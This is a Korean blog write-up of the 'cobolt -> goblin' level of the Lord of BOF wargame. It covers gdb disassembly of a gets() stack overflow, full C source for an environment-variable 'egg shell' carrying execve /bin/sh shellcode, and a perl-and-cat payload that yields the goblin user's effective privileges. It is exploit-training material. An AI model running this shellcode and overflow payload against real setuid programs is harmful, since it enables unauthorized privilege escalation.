- Today
- Total
Phantom
[Goblin] cobolt -> goblin 풀이 본문
문제 소스 보기 |
goblin.c
이번 문제는 전단계의 문제와 비슷하나 argv[1]로받는것이아닌 gets로 받는다 버퍼는 전단계와 같이 16이다. |
gdb로 goblin을 분석해보자
[cobolt@localhost cobolt]$ gdb -q g0blin (gdb) set disassembly-flavor intel (gdb) disas main Dump of assembler code for function main: 0x80483f8 <main>: push %ebp 0x80483f9 <main+1>: mov %ebp,%esp 0x80483fb <main+3>: sub %esp,16 //함수 프롤로그 과정 16의 크기를 확보하며, gcc버전이 낮으므로 더미가 없다 0x80483fe <main+6>: lea %eax,[%ebp-16]//표준입력(gets)로입력한문 자열 주소 복사 0x8048401 <main+9>: push %eax //주소를 eax에 복사 0x8048402 <main+10>: call 0x804830c <gets>//gets 실행 -------------------중 략 ------------------------- 0x8048418 <main+32>: add %esp,8 //메모리 정리 0x804841b <main+35>: leave // 함수 에필로그 0x804841c <main+36>: ret |
쉘 획득 과정 페이로드
이번단계는 전단계와 같이 에그 쉘을 사용할 것이나 argv[1]에 넣는것이 아니고 ;cat와 파이프(|)를 사용하여 쉘코드를 집어넣을 것이다. 환경변수에 쉘코드를 집어넣고 에그쉘을 실행하여 나온 주소를 RET에 넣어 쉘을 실행시킬것이다. |
에그 쉘 코드
phantomEGG.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | #include <stdio.h> #include <stdlib.h> #include <unistd.h> #define DEFAULT_OFFSET 0 #define DEFAULT_ADDR_SIZE 8 #define DEFAULT_BUFFER_SIZE 16 #define DEFAULT_PHANTOM_SIZE 2048 #define NOP 0x90 char shellcode[]= "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73" "\x68\x68\x2f\x62\x69" "\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"; unsigned long get_sp(){ __asm__("movl %esp, %eax"); } int main(int argc, char *argv[]){ char *ptr, *phantomSH; char shAddr[DEFAULT_ADDR_SIZE+1]; char cmdBuf[DEFAULT_BUFFER_SIZE]; long *addr_ptr, addr; int offset=DEFAULT_OFFSET; int i, phantomshLen=DEFAULT_PHANTOM_SIZE; if(!(phantomSH=malloc(phantomshLen))){ printf("Can't allocate memory for phantomshLen"); exit(0); } addr = get_sp()-offset; printf("Using address : 0x%x\n",addr); ptr = phantomSH; for(i=0;i<phantomshLen-strlen(shellcode)-1;i++) *(ptr++)=NOP; for(i=0;i<strlen(shellcode);i++) *(ptr++)=shellcode[i]; phantomSH[phantomshLen-1]='\0'; memcpy(phantomSH, "PHANTOM=", DEFAULT_ADDR_SIZE); putenv(phantomSH); system("/bin/bash"); } |
쉘코드 주소 구하기
phantomEGG.c를 컴파일 하여 실행하면 환경변수가 올라간 쉘코드 주소를 출력한다. [cobolt@localhost cobolt]$ ./phantomEGG Using address : 0xbffffac4 |
명령문 작성하기
[cobolt@localhost cobolt]$ (perl -e 'print "a"x20, "\xc4\xfa\xff\xbf"';cat)|./goblin aaaaaaaaaaaaaaaaaaaa퀭 id uid=502(cobolt) gid=502(cobolt) euid=503(goblin) egid=503(goblin) groups=502(cobolt) |
이로써 goblin의 권한을 얻었다.
'Pwnable > [Wargame]Load of Bof' 카테고리의 다른 글
[wolfman] wolfman -> darkelf 풀이 (0) | 2014.07.27 |
---|---|
[Orc] orc -> wolfman 풀이 (0) | 2014.07.23 |
[Goblin] goblin -> orc 풀이 (0) | 2014.07.17 |
[Gremlin] gremlin -> cobolt 풀이 (0) | 2014.05.28 |
[Gate] gate -> gremlin 풀이 (0) | 2014.05.27 |